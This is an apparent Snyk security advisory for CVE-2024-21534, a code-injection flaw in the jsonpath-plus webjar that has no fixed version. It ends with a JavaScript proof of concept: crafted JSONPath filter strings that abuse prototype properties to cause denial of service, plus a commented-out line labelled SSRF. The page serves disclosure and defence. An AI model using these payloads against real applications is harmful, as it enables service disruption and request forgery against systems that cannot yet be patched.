Remote Code Execution (RCE) Affecting org.webjars.npm:jsonpath-plus package, versions [0,]


Severity

Recommended
0.0
critical
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-8185019
  • published14 Oct 2024
  • disclosed10 Sept 2024
  • creditAndrea Angelo Raineri

Introduced: 10 Sep 2024

CVE-2024-21534  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.npm:jsonpath-plus.

Overview

org.webjars.npm:jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.

PoC

const { JSONPath } = require("jsonpath-plus");

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement

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